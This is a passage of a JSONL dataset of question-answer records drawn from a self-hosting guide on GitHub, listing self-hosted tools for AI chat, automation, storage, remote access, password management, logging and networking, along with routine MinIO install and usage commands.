provides a chat UI for interacting with the GPT4All chatbot.\n[Alpaca.cpp](https://github.com/antimatter15/alpaca.cpp) is a fast ChatGPT-like model locally on your device. It combines the [LLaMA foundation model](https://github.com/facebookresearch/llama) with an [open reproduction](https://github.com/tloen/alpaca-lora) of [Stanford Alpaca](https://github.com/tatsu-lab/stanford_alpaca) a fine-tuning of the base model to obey instructions (akin to the [RLHF](https://huggingface.co/blog/rlhf) used to train ChatGPT) and a set of modifications to [llama.cpp](https://github.com/ggerganov/llama.cpp) to add a chat interface.\n\n[llama.cpp](https://github.com/ggerganov/llama.cpp) is a Port of Facebook's LLaMA model in C/C++.\n\n[Serge](https://github.com/serge-chat/serge) is a web interface for chatting with Alpaca through llama.cpp. Fully self-hosted & dockerized, with an easy to use API. \n\n[OpenPlayground](https://github.com/nat/openplayground) is a playfround for running ChatGPT-like models locally on your device.\n\n[Vicuna](https://vicuna.lmsys.org/) is an open source chatbot trained by fine tuning LLaMA. It apparently achieves more than 90% quality of chatgpt and costs $300 to train.\n\n[Yeagar ai](https://github.com/yeagerai/yeagerai-agent) is a Langchain Agent creator designed to help you build, prototype, and deploy AI-powered agents with ease.\n\n[LocalAI](https://localai.io/) is a self-hosted, community-driven, local OpenAI-compatible API. Drop-in replacement for OpenAI running LLMs on consumer-grade hardware with no GPU required. It's an API to run ggml compatible models: llama, gpt4all, rwkv, whisper, vicuna, koala, gpt4all-j, cerebras, falcon, dolly, starcoder, and many others.\n\n[DoctorGPT](https://github.com/ingyamilmolinar/doctorgpt) is a lightweight self-contained binary that monitors your application logs for problems and diagnoses them.\n\n[HttpGPT](https://github.com/lucoiso/UEHttpGPT/releases) is an Unreal Engine 5 plugin that facilitates integration with OpenAI's GPT based services (ChatGPT and DALL-E) through asynchronous REST requests, making it easy for developers to communicate with these services. It also includes Editor Tools to integrate Chat GPT and DALL-E image generation directly in the Engine.", "tags": ["mikeroyal"], "source": "github_gists", "category": "mikeroyal", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 18322, "answer_score": 10, "has_code": true, "url": "https://github.com/mikeroyal/Self-Hosting-Guide", "collected_at": "2026-01-17T08:18:06.317943"}
{"id": "gh_f366718a0aff", "question": "How to: Automation", "question_body": "About mikeroyal/Self-Hosting-Guide", "answer": "[Back to the Top](#table-of-contents)\n\n[Accelerated Text](https://github.com/accelerated-text/accelerated-text) - Automatically generate multiple natural language descriptions of your data varying in wording and structure. \n\n[Activepieces](https://www.activepieces.com) - No-code business automation tool like Zapier or Tray. For example, you can send a Slack notification for each new Trello card. \n\n[ActiveWorkflow](https://github.com/automaticmode/active_workflow) - An intelligent process and workflow automation platform based on software agents. \n\n[Alltube](https://github.com/Rudloff/alltube) - Web GUI for youtube-dl, a program to download videos and audio from more than 100 websites.\n\n[AmIUnique](https://amiunique.org/) - Learn how identifiable you are on the Internet (browser fingerprinting tool). \n\n[Automatisch](https://automatisch.io) - Business automation tool that lets you connect different services like Twitter, Slack, and more to automate your business processes (Open source Zapier alternative). \n\n[Baserow](https://baserow.io/) - Open source online database tool and Airtable alternative. Create your own database without technical experience. \n\n[betanin](https://github.com/sentriz/betanin) - Music organization man-in-the-middle of your torrent client and music player. Based on beets.io, similar to Sonarr and Radarr.\n\n[ChiefOnboarding](https://chiefonboarding.com) - Employee onboarding platform that allows you to provision user accounts and create sequences with todo items, resources, text/email/Slack messages, and more! Available as a web portal and Slack bot. \n\n[Datasette](https://datasette.io/) - An open source multi-tool for exploring and publishing data, easy import and export and database management. \n\n[Eonza](https://www.eonza.org) - Eonza is used to create scripts and automate tasks on servers or VPS hosting. Manage your servers from any browser on any device. \n\n[Exadel CompreFace](https://exadel.com/solutions/compreface/) - Face recognition system that provides REST API for face recognition, face detection, and other face services, and is easily deployed with docker. There are SDKs for Python and JavaScript languages. Can be used without prior machine learning skills. \n\n[feed2toot](https://feed2toot.readthedocs.io/en/latest/) - Feed2toot parses a RSS feed, extracts the last entries and sends them to Mastodon.\n\n[feedmixer](https://github.com/cristoper/feedmixer) - FeedMixer is a WSGI (Python3) micro web service which takes a list of feed URLs and returns a new feed consisting of the most recent n entries from each given feed(Returns Atom, RSS, or JSON).\n\n[Headphones](https://github.com/rembo10/headphones) - Automated music downloader for NZB and Torrent, written in Python. It supports SABnzbd, NZBget, Transmission, µTorrent, Deluge and Blackhole. \n\n[Healthchecks](https://healthchecks.io/) - Django app which listens for pings and sends alerts when pings are late. \n\n[HRConvert2](https://github.com/zelon88/HRConvert2) - Drag-and-drop file conversion server with session based authentication, automatic temporary file maintenance, and logging capability. \n\n[Huginn](https://github.com/huginn/huginn) - Allows you to build agents that monitor and act on your behalf. \n\n[Kibitzr](https://kibitzr.github.io) - Lightweight personal web assistant with powerful integrations. \n\n[Krayin](https://krayincrm.com/) - Free and Opensource Laravel CRM Application. \n\n[Leon](https://getleon.ai) - Open-source personal assistant who can live on your server. \n\n[Lidarr](https://lidarr.audio/) - Lidarr is a music collection manager for Usenet and BitTorrent users. \n\n[Matchering](https://github.com/sergree/matchering) - A containerized web app for automated music mastering. An open-source alternative to LANDR, eMastered, and MajorDecibel.\n\n[Medusa](https://pymedusa.com/) - Automatic Video Library Manager for TV Shows. It watches for new episodes of your favorite shows, and when they are posted it does its magic. ([Source Code](https://github.com/pymedusa/Medusa)) `GPL-3.0` `Python`\n\n[MeTube](https://github.com/alexta69/metube) - Web GUI for youtube-dl, with playlist support. Allows downloading videos from dozens of websites. `AGPL-3.0` `Python/Nodejs/Docker`\n\n[Nautobot](https://github.com/nautobot/nautobot) is a Network Source of Truth and Network Automation Platform built as a web application atop the Django Python framework with a PostgreSQL or MySQL database.\n\n[nefarious](https://github.com/lardbit/nefarious) - Web application that automates downloading Movies and TV Shows. \n\n[NocoDB](https://www.nocodb.com/) - No-code platform that turns any database into a smart spreadsheet. It can be considered as an Airtable or Smartsheet alternative. \n\n[OliveTin](https://github.com/OliveTin/OliveTin) - OliveTin is a web interface for running Linux shell commands.\n\n[Patrowl](https://github.com/Patrowl/PatrowlManager) - Open Source, Smart and Scalable Security Operations Orchestration Platform. \n\n[Podgrab](https://github.com/akhilrex/po", "tags": ["mikeroyal"], "source": "github_gists", "category": "mikeroyal", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 18322, "answer_score": 10, "has_code": false, "url": "https://github.com/mikeroyal/Self-Hosting-Guide", "collected_at": "2026-01-17T08:18:06.317961"}
{"id": "gh_428a5181bc60", "question": "How to: Configuration Management", "question_body": "About mikeroyal/Self-Hosting-Guide", "answer": "[Back to The Top](#table-of-contents)\n\n[Ansible](https://www.ansible.com/) -  is a tool  is a powerful, agentless tool that works everywhere and with everything. When you add in proven enterprise engineering and support from Red Hat that's written in Python.\n\n[Ansible.Ai](https://ansible.ai/) is an AI for Ansible Content Development tool to automate in your IT infrastructure and it will generate syntactically correct playbook to help you get there.\n\n[CFEngine](https://cfengine.com/) - is a Lightweight agent system where the configuration state is specified via a declarative language.\n\n[mgmt](https://github.com/purpleidea/mgmt) - is a next generation config management written in Go.\n\n[Pallet](https://palletops.com/) - is a Infrastructure definition, configuration and management via a Clojure DSL.\n\n[Puppet](https://puppetlabs.com/) - is an automated administrative engine for your Linux, Unix, and Windows systems, performs administrative tasks (such as adding users, installing packages, and updating server configurations) based on a centralized specification.\n\n[Chef](https://www.opscode.com/chef/) - is a powerful automation platform that transforms infrastructure into code automating how infrastructure is configured, deployed and managed across any environment.\n\n[(R)?ex](https://www.rexify.org/) - is a friendly automation framework to any combinations of local and remote execution, push and pull style of management, or imperative and declarative approach. \n\n[Salt](https://www.saltstack.com/) -  is an event-driven automation tool and framework to deploy, configure, and manage complex IT systems. It automates common infrastructure administration tasks and ensure that all the components of your infrastructure are operating in a consistent desired state.\n\n[Fleek](https://getfleek.dev/) is an all-in-one management system for everything you need to be productive on your computer.", "tags": ["mikeroyal"], "source": "github_gists", "category": "mikeroyal", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 18322, "answer_score": 10, "has_code": false, "url": "https://github.com/mikeroyal/Self-Hosting-Guide", "collected_at": "2026-01-17T08:18:06.317969"}
{"id": "gh_e08a4e3e8b7b", "question": "How to: Cloud Storage", "question_body": "About mikeroyal/Self-Hosting-Guide", "answer": "[Back to The Top](#table-of-contents)\n\n[Swift](https://docs.openstack.org/developer/swift/) - A highly available, distributed, eventually consistent object/blob store.\n\n[Syncthing](https://syncthing.net/) - Open Source system for private, encrypted and authenticated distribution of data.\n\n[git-annex assistant](https://git-annex.branchable.com/assistant/) - A synchronized folder on each of your MacOS and Linux computers, Android devices, removable drives, NAS appliances, and cloud services.\n\n[NextCloud](https://nextcloud.com) - Provides access to your files via the web.\n\n[ownCloud](https://owncloud.org) - Provides universal access to your files via the web, your computer or your mobile devices.\n\n[Seafile](https://seafile.com) - Another Open Source Cloud Storage solution.\n\n[SparkleShare](https://sparkleshare.org/) - Provides cloud storage and file synchronization services. By default, it uses Git as a storage backend.", "tags": ["mikeroyal"], "source": "github_gists", "category": "mikeroyal", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 18322, "answer_score": 10, "has_code": false, "url": "https://github.com/mikeroyal/Self-Hosting-Guide", "collected_at": "2026-01-17T08:18:06.317975"}
{"id": "gh_96375b70142b", "question": "How to: Back4app Web Deployment", "question_body": "About mikeroyal/Self-Hosting-Guide", "answer": "[Back4app Web Deployment](https://www.back4app.com/web-deployment-platform) is a Container as a Service (CaaS) provider platform that allows the dev teams to build and deploy containerized applications with no downtime. You can simply connect it to a GitHub repository and publish the code within seconds. \n\n  * [Back4app Web Deployment Platform Pricing](https://www.back4app.com/pricing/container-as-a-service)\n\n  * [Back4app GitHub](https://github.com/back4app)\n\n  * [Back4app Tutorials](https://www.back4app.com/tutorials)", "tags": ["mikeroyal"], "source": "github_gists", "category": "mikeroyal", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 18322, "answer_score": 10, "has_code": false, "url": "https://github.com/mikeroyal/Self-Hosting-Guide", "collected_at": "2026-01-17T08:18:06.317987"}
{"id": "gh_105cc8aa7e4d", "question": "How to: MinIO Object Storage", "question_body": "About mikeroyal/Self-Hosting-Guide", "answer": "[Back to the Top](#table-of-contents)\n[MinIO](https://min.io/download) is a High Performance Object Storage released under GNU Affero General Public License v3.0. It is API compatible with [Amazon S3 cloud storage service](https://aws.amazon.com/s3/). Use MinIO to build high performance infrastructure for machine learning, analytics and application data workloads. It's one of the fastest object storage platforms globally, with a read/write speed of **183GB/s-171GB/s** if you use standard hardware. It can function as the main storage tier for many workloads like **Spark, TensorFlow, Presto, Hadoop HDFS, and H2O.**\nMinIO UI\n**Run the following command to run the latest stable image of MinIO as a container using an ephemeral data volume:**", "tags": ["mikeroyal"], "source": "github_gists", "category": "mikeroyal", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 18322, "answer_score": 10, "has_code": false, "url": "https://github.com/mikeroyal/Self-Hosting-Guide", "collected_at": "2026-01-17T08:18:06.317993"}
{"id": "gh_4e793b5f1407", "question": "How to: Binary Download for MacOS", "question_body": "About mikeroyal/Self-Hosting-Guide", "answer": "```\nwget https://dl.min.io/server/minio/release/darwin-amd64/minio\nchmod +x minio\n./minio server /data\n```", "tags": ["mikeroyal"], "source": "github_gists", "category": "mikeroyal", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 18322, "answer_score": 10, "has_code": true, "url": "https://github.com/mikeroyal/Self-Hosting-Guide", "collected_at": "2026-01-17T08:18:06.318000"}
{"id": "gh_29a9bca3bc1a", "question": "How to: Install from Source", "question_body": "About mikeroyal/Self-Hosting-Guide", "answer": "Use the following commands to compile and run a standalone MinIO server from source. Source installation is only intended for developers and advanced users. If you do not have a working Golang environment, please follow [How to install Golang](https://golang.org/doc/install). The minimum version required is [go1.19](https://golang.org/dl/#stable).\n\n```go install github.com/minio/minio@latest```\n\n**After you install MinIO:**\n\nThe MinIO deployment starts using default root credentials ```minioadmin:minioadmin```. You can test the deployment using the MinIO Console, an embedded web-based object browser built into MinIO Server. Point a web browser running on the host machine to ```http://127.0.0.1:9000``` and log in with the root credentials. You can use the Browser to create buckets, upload objects, and browse the contents of the MinIO server.\n\nWhen you run Minio you will be issued a key and a secret. These are used by the client or the web front-end to connect securely. I found my codes by typing in ```docker logs minio```.\n\n```\nCreated minio configuration file at /root/.minio\n\nEndpoint:  http://172.17.0.2:9000  http://127.0.0.1:9000\nAccessKey: accessCode\nSecretKey: secretCode\nRegion:    us-west-1\nSQS ARNs:\nBrowser Access:\n   http://172.17.0.2:9000  http://127.0.0.1:9000\n\nCommand-line Access: https://docs.minio.io/docs/minio-client-quickstart-guide\n   $ mc config host add myminio http://172.17.0.2:9000 accessCode secretCode\n\nObject API (Amazon S3 compatible):\n   Go:         https://docs.minio.io/docs/golang-client-quickstart-guide\n   Java:       https://docs.minio.io/docs/java-client-quickstart-guide\n   Python:     https://docs.minio.io/docs/python-client-quickstart-guide\n   JavaScript: https://docs.minio.io/docs/javascript-client-quickstart-guide\n\nDrive Capacity: 50 GiB Free, 70 GiB Total\n```\n\nIf you'd like to learn more then most of the Minio client commands support a help flag or give info on the command line:\n\n```\nNAME:\n  mc - Minio Client for cloud storage and filesystems.\n\nUSAGE:\n  mc [FLAGS] COMMAND [COMMAND FLAGS | -h] [ARGUMENTS...]\n\nCOMMANDS:\n  ls       List files and folders.\n  mb       Make a bucket or a folder.\n  cat      Display file and object contents.\n  pipe     Redirect STDIN to an object or file or STDOUT.\n  share    Generate URL for sharing.\n  cp       Copy files and objects.\n  mirror   Mirror buckets and folders.\n  diff     Show differences between two folders or buckets.\n  rm       Remove files and objects.\n  events   Manage object notifications.\n  watch    Watch for files and objects events.\n  policy   Manage anonymous access to objects.\n  session  Manage saved sessions for cp and mirror commands.\n  config   Manage mc configuration file.\n  update   Check for new mc update.\n  version  Print version info.\n  help, h  Shows a list of commands or help for one command\n```", "tags": ["mikeroyal"], "source": "github_gists", "category": "mikeroyal", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 18322, "answer_score": 10, "has_code": true, "url": "https://github.com/mikeroyal/Self-Hosting-Guide", "collected_at": "2026-01-17T08:18:06.318011"}
{"id": "gh_7155d47fabb6", "question": "How to: Advanced options", "question_body": "About mikeroyal/Self-Hosting-Guide", "answer": "You can have your client point to multiple Minio servers, which is really neat especially if you're working on a distributed team.\n\nMinio's test-server called \"play\" is already configured in the default client, you can see all the servers you have configured with mc config host list.\n\n**To upload the photo to Minio's \"play\" S3 server just type in:**\n\n```# mc mb play/somebucketname```\n\n```# mc cp ~/Downloads/IMG_2016120-25.jpg play/somebucketname```\n\n**Recursive uploads:**\n\n**If you want to test something larger out you could try uploading your entire Downloads photo, and then you should use the --recursive flag to make sure nothing's missed:**\n\n```# mc cp --recursive ~/Downloads/IMG_2016120-25.jpg myminio/photos```", "tags": ["mikeroyal"], "source": "github_gists", "category": "mikeroyal", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 18322, "answer_score": 10, "has_code": true, "url": "https://github.com/mikeroyal/Self-Hosting-Guide", "collected_at": "2026-01-17T08:18:06.318017"}
{"id": "gh_1bc77558ab31", "question": "How to: Remote Access", "question_body": "About mikeroyal/Self-Hosting-Guide", "answer": "[Back to the Top](#table-of-contents)\n\n[FreeRDP](https://github.com/FreeRDP/FreeRDP) is a free remote desktop protocol library and clients.\n\n[Rustdesk](https://rustdesk.com/) is an open source virtual/remote desktop infrastructure for everyone. Display and control your PC (Windows, macOS, and Linux) and Android devices.\n\n[TinyPilot](https://tinypilotkvm.com/) is a tool that enables KVM over IP letting you control any computer remotely.\n\n[X2Go](https://wiki.x2go.org/) is open source remote desktop software for Linux that uses a modified NX 3 protocol. It gives remote access to a Linux system's GUI.\n\n[Apache Guacamole](https://guacamole.apache.org/) is a clientless remote desktop gateway. It supports standard protocols like VNC, RDP, and SSH.\n\n[Remmina](https://remmina.org/) is a Remote access screen and file sharing to your desktop. It has Remote Access Protocol Plugins for [RDP](https://remmina.org/remmina-rdp/), [SSH](https://remmina.org/remmina-ssh/), [SPICE](https://remmina.org/remmina-spice/), [VNC](https://remmina.org/remmina-vnc/), [X2Go](https://remmina.org/remmina-x2go/), [HTTP/HTTPS](https://remmina.org/remmina-www/).\n\n[Remotely](https://github.com/immense/Remotely) is a  remote control and remote scripting solution, built with .NET 6, Blazor, SignalR Core, and WebRTC. \n\n[P2P Remote Desktop](https://github.com/miroslavpejic85/p2p) is a portable, no configuration or installation needed remote desktop tool.\n\n[Cloudflare Tunnel](https://developers.cloudflare.com/cloudflare-one/connections/connect-apps/install-and-setup/tunnel-guide) is a tunneling daemon that proxies traffic from the Cloudflare network to your origins. This daemon sits between Cloudflare network and your origin (a webserver). This attracts client requests and sends them to you via this daemon, without requiring you to poke holes on your firewall and your origin(webserver) can remain as closed as possible. \n\n[WireGuard®](https://www.wireguard.com/) is a straight-forward, fast and modern VPN that utilizes state-of-the-art cryptography. It aims to be faster, simpler, leaner, and more useful than IPsec while avoiding the massive headache. WireGuard is designed as a general-purpose VPN for running on embedded interfaces and super computers alike, fit for many circumstances. It's cross-platform (Windows, macOS, BSD, iOS, Android) and widely deployable.\n\n[NetBird](https://netbird.io/) is an open-source VPN management platform built on top of WireGuard® making it easy to create secure private networks for your organization or home.\n\n[Tailscale](https://github.com/tailscale) is a WireGuard-based app that makes secure, private networks easy for teams of any scale. It works like an overlay network between the computers of your networks using all kinds of NAT traversal sorcery.\n\n[Headscale](https://github.com/juanfont/headscale) is an open source, self-hosted implementation of the Tailscale coordination server.\n\n[MeshCentral](https://meshcentral.com/) is a full computer management web site. It can run your own web server to remotely manage and control computers on a local network or anywhere on the internet. Once you get the server started, create device group and download and install an agent on each computer you want to manage. \n\n[VNC Viewer](https://www.realvnc.com/en/connect/download/viewer/) is a free remote desktop application that use can use on your iPhone, iPad, Mac, Windows and Linux computers from anywhere in the world.\n\n[TightVNC](https://www.tightvnc.com/) is a free remote desktop application. It can see the desktop of a remote machine and control it with your local mouse and keyboard, just like you would do it sitting in the front of that computer.\n\n[KRDC](https://apps.kde.org/krdc/) is a client application that allows you to view or even control the desktop session on another machine that is running a compatible server. VNC and RDP is supported.\n\n[Krfb Desktop Sharing](https://apps.kde.org/krfb/) is a server application that allows you to share your current session with a user on another machine, who can use a VNC client to view or even control the desktop.\n\n[wayvnc](https://github.com/any1/wayvnc) is a VNC server for wlroots-based Wayland compositors (no_entry Gnome, KDE and Weston are not supported). It attaches to a running Wayland session, creates virtual input devices, and exposes a single display via the RFB protocol. \n\n[Waypipe](https://gitlab.freedesktop.org/mstoeckl/waypipe/) is a proxy for Wayland clients. It forwards Wayland messages and serializes changes to shared memory buffers over a single socket.", "tags": ["mikeroyal"], "source": "github_gists", "category": "mikeroyal", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 18322, "answer_score": 10, "has_code": false, "url": "https://github.com/mikeroyal/Self-Hosting-Guide", "collected_at": "2026-01-17T08:18:06.318045"}
{"id": "gh_54fa6366fafe", "question": "How to: Virtualization", "question_body": "About mikeroyal/Self-Hosting-Guide", "answer": "[Back to the Top](#table-of-contents)\n\n[HVM (Hardware Virtual Machine)](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/virtualization_types.html) is a virtualization type that provides the ability to run an operating system directly on top of a virtual machine without any modification, as if it were run on the bare-metal hardware.\n\n[PV(ParaVirtualization)](https://wiki.xenproject.org/wiki/Paravirtualization_(PV)) is an efficient and lightweight virtualization technique introduced by the Xen Project team, later adopted by other virtualization solutions. PV does not require virtualization extensions from the host CPU and thus enables virtualization on hardware architectures that do not support Hardware-assisted virtualization.\n\n[Network functions virtualization (NFV)](https://www.vmware.com/topics/glossary/content/network-functions-virtualization-nfv) is the replacement of network appliance hardware with virtual machines. The virtual machines use a hypervisor to run networking software and processes such as routing and load balancing. NFV allows for the separation of communication services from dedicated hardware, such as routers and firewalls. This separation means network operations can provide new services dynamically and without installing new hardware. Deploying network components with network functions virtualization only takes hours compared to months like with traditional networking solutions.\n\n[Software Defined Networking (SDN)](https://www.vmware.com/topics/glossary/content/software-defined-networking) is an approach to networking that uses software-based controllers or application programming interfaces (APIs) to communicate with underlying hardware infrastructure and direct traffic on a network. This model differs from that of traditional networks, which use dedicated hardware devices (routers and switches) to control network traffic.\n\n[Virtualized Infrastructure Manager (VIM)](https://www.cisco.com/c/en/us/td/docs/net_mgmt/network_function_virtualization_Infrastructure/3_2_2/install_guide/Cisco_VIM_Install_Guide_3_2_2/Cisco_VIM_Install_Guide_3_2_2_chapter_00.html) is a service delivery and reduce costs with high performance lifecycle management Manage the full lifecycle of the software and hardware comprising your NFV infrastructure (NFVI), and maintaining a live inventory and allocation plan of both physical and virtual resources.\n\n[Management and Orchestration(MANO)](https://www.etsi.org/technologies/open-source-mano) is an ETSI-hosted initiative to develop an Open Source NFV Management and Orchestration (MANO) software stack aligned with ETSI NFV. Two of the key components of the ETSI NFV architectural framework are the NFV Orchestrator and VNF Manager, known as NFV MANO.\n\n[Magma](https://www.magmacore.org/) is an open source software platform that gives network operators an open, flexible and extendable mobile core network solution. Their mission is to connect the world to a faster network by enabling service providers to build cost-effective and extensible carrier-grade networks. Magma is 3GPP generation (2G, 3G, 4G or upcoming 5G networks) and access network agnostic (cellular or WiFi). It can flexibly support a radio access network with minimal development and deployment effort.\n\n[OpenRAN](https://open-ran.org/) is an intelligent Radio Access Network(RAN) integrated on general purpose platforms with open interface between software defined functions. Open RANecosystem enables enormous flexibility and interoperability with a complete openess to multi-vendor deployments.\n\n[Open vSwitch(OVS)](https://www.openvswitch.org/)is an open source production quality, multilayer virtual switch licensed under the open source Apache 2.0 license. It is designed to enable massive network automation through programmatic extension, while still supporting standard management interfaces and protocols (NetFlow, sFlow, IPFIX, RSPAN, CLI, LACP, 802.1ag).\n\n[Edge](https://www.ibm.com/cloud/what-is-edge-computing) is a distributed computing framework that brings enterprise applications closer to data sources such as IoT devices or local edge servers. This proximity to data at its source can deliver strong business benefits, including faster insights, improved response times and better bandwidth availability.\n\n[Multi-access edge computing (MEC)](https://www.etsi.org/technologies/multi-access-edge-computing) is an Industry Specification Group (ISG) within ETSI to create a standardized, open environment which will allow the efficient and seamless integration of applications from vendors, service providers, and third-parties across multi-vendor Multi-access Edge Computing platforms.\n\n[Virtualized network functions(VNFs)](https://www.juniper.net/documentation/en_US/cso4.1/topics/concept/nsd-vnf-overview.html) is a software application used in a Network Functions Virtualization (NFV) implementation that has well defined interfaces, and provides one or more component networking functions in a defined way. For example,", "tags": ["mikeroyal"], "source": "github_gists", "category": "mikeroyal", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 18322, "answer_score": 10, "has_code": false, "url": "https://github.com/mikeroyal/Self-Hosting-Guide", "collected_at": "2026-01-17T08:18:06.318077"}
{"id": "gh_3ad2c6f4101b", "question": "How to: Password Management", "question_body": "About mikeroyal/Self-Hosting-Guide", "answer": "[Back to the Top](#table-of-contents)\n\n[Bitwarden](https://bitwarden.com/host/) is a free and open-source password management service that stores sensitive information such as website credentials in an encrypted vault. \n\n[Bitwarden Server](https://github.com/bitwarden/server) is a project contains the APIs, database, and other core infrastructure items needed for the \"backend\" of all bitwarden client applications. Checkout [Bitwarden's self-hosted release repository](https://github.com/bitwarden/self-host).\n\n[Vaultwarden](https://github.com/dani-garcia/vaultwarden) is an unofficial Bitwarden compatible server written in Rust, formerly known as bitwarden_rs.\n\n[Passbolt](https://www.passbolt.com/) is an open-source/self-hosted password manager for teams. It allows you to securely share and store credentials. For instance, the wifi password of your office, the administrator password of a router or your organization's social media account passwords, all of them can be secured using passbolt. \n\n[KeePassXC](https://keepassxc.org/) is a modern, secure, and open-source password manager that stores and manages your most sensitive information. You can run KeePassXC on Windows, macOS, and Linux systems. It saves many different types of information, such as usernames, passwords, URLs, attachments, and notes in an offline, encrypted file that can be stored in any location, including private and public cloud solutions.\n\n[AuthPass.app](https://authpass.app/) is an Open-Source Password Manager for mobile and desktop that is Keepass 2.x (kdbx 3.x) compatible.\n\n[pass](https://www.passwordstore.org/) is an open-source unix-based password utilitiy with various [gui clients](https://www.passwordstore.org/#other)", "tags": ["mikeroyal"], "source": "github_gists", "category": "mikeroyal", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 18322, "answer_score": 10, "has_code": false, "url": "https://github.com/mikeroyal/Self-Hosting-Guide", "collected_at": "2026-01-17T08:18:06.318085"}
{"id": "gh_d97ba9dd459a", "question": "How to: Log Management", "question_body": "About mikeroyal/Self-Hosting-Guide", "answer": "[Back to The Top](#table-of-contents)\n\n[Echofish](https://echothrust.github.io/echofish/) - A web based real-time event log aggregation, analysis, monitoring and management system.\n\n[Fluentd](https://www.fluentd.org/) - Log Collector and Shipper.\n\n[Flume](https://flume.apache.org/) - Distributed log collection and aggregation system.\n\n[Graylog2](https://graylog2.org/) - Pluggable Log and Event Analysis Server with Alerting options.\n\n[Heka](https://hekad.readthedocs.org/en/latest/) - Stream processing system which may be used for log aggregation.\n\n[Elasticsearch](https://www.elasticsearch.org/) - A Lucene Based Document store mainly used for log indexing, storage and analysis.\n\n[Kibana](https://www.elasticsearch.org/overview/kibana/) - Visualize logs and time-stamped data.\n\n[Logstash](https://logstash.net/) - Tool for managing events and logs.\n\n[Octopussy](https://www.octopussy.pm) - Log Management Solution (Visualize/Alert/Report).", "tags": ["mikeroyal"], "source": "github_gists", "category": "mikeroyal", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 18322, "answer_score": 10, "has_code": false, "url": "https://github.com/mikeroyal/Self-Hosting-Guide", "collected_at": "2026-01-17T08:18:06.318095"}
{"id": "gh_e793f20b5895", "question": "How to: Service Discovery", "question_body": "About mikeroyal/Self-Hosting-Guide", "answer": "[Back to The Top](#table-of-contents)\n\n[Consul](http://www.consul.io/)  is a tool for service discovery, monitoring and configuration. [Install Consul on Self-Hosted Kubernetes Clusters](https://github.com/hashicorp/consul/blob/main/website/content/docs/k8s/platforms/self-hosted-kubernetes.mdx).\n\n[Linkerd](https://linkerd.io/) is an ultralight, security-first service mesh for Kubernetes. Linkerd adds critical security, observability, and reliability features to your Kubernetes stack with no code change required.\n\n[Doozerd](https://github.com/ha/doozerd) is a highly-available, completely consistent store for small amounts of extremely important data.\n\n[Admiral](https://github.com/istio-ecosystem/admiral) is a tool for for service discovery that provides automatic configuration and service discovery for multicluster Istio service mesh.\n\n[ScaleCube](https://github.com/scalecube/scalecube-services) is a library that simplifies the development of reactive and distributed applications by providing an embeddable microservices library. It connects distributed microservices in a way that resembles a fabric when viewed collectively. It greatly simplifies and streamlines asynchronous programming and provides a tool-set for managing microservices architecture.\n\n[DPS(dns-proxy-server)](https://github.com/mageddo/dns-proxy-server) is a lightweight end user (Developers, Server Administrators) DNS server tool for service discovery, which make it easy to develop in systems where one hostname can solve to different IPs based on the configured environment, so you can:\n\n * Solve hostnames from local configuration database.\n * Solve hostnames from docker containers using docker hostname option or HOSTNAMES env.\n * Solve hostnames from a list of configured remote DNS servers(as a proxy) if no answer of two above  .\n * Graphic interface to Create/List/Update/Delete A/CNAME records.\n * Solve host machine IP using host.docker hostname.\n * Access container by its container name / service name.\n * Specify from which network solve container IP.\n\n[ZooKeeper](http://zookeeper.apache.org/)  is a centralized service for maintaining configuration information, naming, providing distributed synchronization, and providing group services.", "tags": ["mikeroyal"], "source": "github_gists", "category": "mikeroyal", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 18322, "answer_score": 10, "has_code": false, "url": "https://github.com/mikeroyal/Self-Hosting-Guide", "collected_at": "2026-01-17T08:18:06.318129"}
{"id": "gh_62929a3616a4", "question": "How to: Troubleshooting", "question_body": "About mikeroyal/Self-Hosting-Guide", "answer": "[Back to The Top](#table-of-contents)\n\n[NETworkManager](https://github.com/BornToBeRoot/NETworkManager) - A powerful tool for managing networks and troubleshoot network problems. It contains features like a WiFi analyzer, IP scanner, port scanner, ping monitor, traceroute, DNS lookup or a LLDP/CDP capture. \n\n[Wireshark](https://www.wireshark.org/) - The world's foremost network protocol analyzer.\n\n[Selfspy](https://github.com/selfspy/selfspy) is a daemon for Unix/X11, MacOS (thanks to @ljos) and Windows (thanks to @Foxboron), that continuously monitors and stores what you are doing on your computer. This way, you can get all sorts of nifty statistics and reminders on what you have been up to.\n\n[Cilium](https://github.com/cilium/cilium) - A networking, observability, and security solution with an eBPF-based dataplane. It provides a simple flat Layer 3 network with the ability to span multiple clusters in either a native routing or overlay mode.\n\n[Netshoot](https://github.com/nicolaka/netshoot) - A  Docker + Kubernetes network trouble-shooting swiss-army container.\n\n[Kubevious](https://kubevious.io/) - A suite of app-centric assurance, validation, and introspection products for Kubernetes. It helps running modern Kubernetes applications without disasters and costly outages by continuously validating application manifests, cluster state, and configuration. \n\n[HOMER](https://github.com/sipcapture/homer) - A robust, carrier-grade, scalable Packet and Event capture system and VoiP/RTC Monitoring Application based on the HEP/EEP protocol and ready to process & store insane amounts of signaling, rtc events, logs and statistics with instant search, end-to-end analysis and drill-down capabilities.\n\n[mitmproxy](https://mitmproxy.org/) - A Python tool used for intercepting, viewing and modifying network traffic. Invaluable in troubleshooting certain problems.\n\n[Sysdig](https://www.sysdig.org/) - Capture system state and activity from a running Linux instance, then save, filter and analyze.\n\n[Sysdig Inspect](https://github.com/draios/sysdig-inspect) - A powerful opensource interface for container troubleshooting and security investigation.", "tags": ["mikeroyal"], "source": "github_gists", "category": "mikeroyal", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 18322, "answer_score": 10, "has_code": false, "url": "https://github.com/mikeroyal/Self-Hosting-Guide", "collected_at": "2026-01-17T08:18:06.318139"}
